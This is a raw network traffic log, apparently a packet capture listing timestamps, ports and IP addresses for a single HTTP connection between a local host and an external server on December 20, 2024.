Dec 20, 2024 09:12:21.170317888 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.170378923 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.171675920 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.171710014 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.171744108 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.171773911 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.173053026 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.173160076 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.173182964 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.173216105 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.174381971 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.174459934 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.174495935 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.174556971 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.175939083 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.175973892 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.176002026 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.176032066 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.177311897 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.177347898 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.177380085 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.177411079 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.178641081 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.178709984 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.178735018 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.178812981 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.180078983 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.180141926 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.180174112 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.180234909 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.181461096 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.181524992 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.181696892 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.181761026 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.182878971 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.182945967 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.183018923 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.183084011 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.184286118 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.184349060 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.184422970 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.184484005 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.185677052 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.185739994 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.185836077 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.185900927 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.187129021 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.187191963 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.187225103 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.187298059 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.188604116 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.188657045 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.188663006 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.188729048 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.189960957 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.190025091 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.190248013 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.190310955 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.191385031 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.191450119 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.191526890 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.191585064 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.192928076 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.192992926 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.193020105 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.193080902 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.194159031 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.194230080 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.194361925 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.194426060 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.195625067 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.195691109 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.313394070 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.313519955 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.314064026 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.314090014 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.314114094 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.314137936 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.314165115 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.315735102 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.315758944 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.315804958 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.315866947 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.316876888 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.316906929 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.316950083 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.316998959 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.317568064 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.317635059 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.317703962 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.317770958 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.319252968 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.319333076 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.319591999 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.319653034 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.320593119 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.320662975 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.320740938 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.320804119 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.321505070 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.321611881 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.321664095 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.321715117 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.322690964 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.322763920 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.322845936 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.322905064 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.324034929 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.324059963 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.324104071 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.324135065 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.325119972 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.325185061 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.325259924 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.325318098 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.326313019 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.326379061 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.326466084 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.326616049 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.327631950 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.327703953 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.327775955 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.327843904 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.328751087 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.328815937 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.328911066 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.328974009 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.330066919 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.330092907 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.330148935 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.330188036 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.331337929 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.331358910 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.331418037 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.331449032 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.332484007 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.332510948 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.332561970 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.332607985 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.333327055 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.333401918 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.333439112 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.333509922 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.335859060 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.335896969 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.335927963 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.335958958 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.336908102 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.336930037 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.336961985 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.336997032 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.337342978 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.337414026 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.337481976 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.337539911 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.338570118 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.338644981 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.338707924 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.338825941 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.339726925 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.339796066 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.339884043 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.339950085 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.340570927 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.340604067 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.340646029 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.340675116 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.341788054 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.341897011 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.341922045 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.341994047 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.342941046 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.343014956 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.343058109 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.343112946 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.344266891 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.344290018 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.344353914 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.344353914 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.345413923 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.345477104 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.345487118 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.345521927 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.346609116 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.346673965 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.346697092 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.346766949 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.347868919 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.347893000 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.347928047 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.347960949 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.349082947 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.349173069 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.349180937 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.349246025 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.350298882 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.350358009 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.350373983 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.350424051 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.353851080 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.353884935 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.353910923 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.353914022 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.353939056 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.353940964 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.353960991 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.353977919 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.354178905 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.354242086 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.354387045 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.354444981 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.355460882 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.355525017 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.355746031 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.355803967 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.356755972 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.356821060 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.356939077 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.356988907 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.357810020 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.357884884 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.357930899 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.357985973 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.359071970 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.359143019 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.359205008 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.359261036 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.360327959 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.360392094 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.360522985 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.360579014 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.361490965 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.361511946 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.361548901 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.361579895 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.362648010 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.362705946 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.362768888 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.362817049 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.363543987 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.363604069 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.363635063 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.363689899 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.364818096 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.364897966 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.364923000 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.364984035 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.365945101 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.366002083 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.366053104 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.366110086 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.367198944 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.367252111 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.367328882 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.367383003 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.368375063 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.368429899 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.368432045 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.368491888 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.369585037 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.369657993 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.369761944 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.369817019 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.370908976 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.370949984 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.370971918 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.371004105 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.372040987 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.372136116 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.372153997 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.372196913 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.373306990 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.373336077 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.373385906 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.373414040 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.374484062 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.374550104 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.374624014 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.374682903 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.375665903 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.375737906 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.375834942 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.375895023 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.376857996 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.376912117 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.505697966 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.505852938 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.505862951 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.505907059 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.505914927 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.505961895 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.506074905 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.506133080 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.507117033 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.507184982 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.507252932 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.507352114 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.508284092 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.508346081 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.508435011 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.508497953 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.509505033 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.509567022 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.509805918 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.509879112 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.510639906 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.510694027 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.510703087 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.510750055 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.511904955 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.511972904 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.512010098 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.512073040 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.513052940 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.513118982 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.513163090 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.513226986 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.514242887 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.514280081 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.514313936 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.514344931 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.515387058 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.515450954 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.515543938 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.515602112 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.516680956 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.516751051 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.516825914 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.516885996 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.517775059 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.517834902 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.517857075 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.517915964 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.518951893 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.519016027 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.519149065 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.519222021 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.520106077 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.520168066 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.520308971 CET	80	49785	31.41.244.11	192.168.2.4
